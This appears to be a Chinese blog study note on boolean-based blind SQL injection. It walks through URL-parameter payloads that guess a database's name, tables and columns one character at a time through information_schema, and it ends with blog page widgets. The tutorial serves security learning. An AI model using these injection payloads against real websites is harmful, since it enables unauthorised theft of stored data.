sql注入盲注笔记

1. 先猜一下数据库的字符长度

?id= 1’ and length(database())=1 (2,3,4…) --+ 其他两个盲注函数 left mid
(需要重复操作)

2. 确定字符长度后,挨个猜字符,由此爆出库名

?id= 1’ and ascii(substr(database(),1,1))>97 (ascii码的十进制的对应数)–+
(需要重复操作)

3. 爆出库名后,先猜一下这个库中有几个表

?id= 1’ and (select count(table_name) from information_schema.tables where
table_schema=‘库名’)=1(2,3…)–+
(需要重复操作)

4. 爆出有几个表后,猜第一个表名的字符长度

?id=1’ and length(substr((select table_name from information_schema.tables
where table_schema=‘库名’ limit 0,1),1))=1 (2,3…)–+
(需要重复操作)

5. 知道了字符长度,现在挨个爆表的字符

?id= 1’ and ascii(substr((select table_name from information_schema.tables
where table_schema=‘库名’ limit 0,1),1,1))>97 (ascii码的十进制的对应数)–+
(需要重复操作)

6.爆出表名后,猜测表中的字段名的个数

?id= 1’ and (select count(column_name) from information_schema.columns where
table_name=‘表名’)=1 (2,3…)–+
(需要重复操作)

7.爆出字段名个数后就尝试确定字段名的长度,然后再依照个数依次爆出字段名,采用上述的方法即可!最后爆数据也同样如此!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值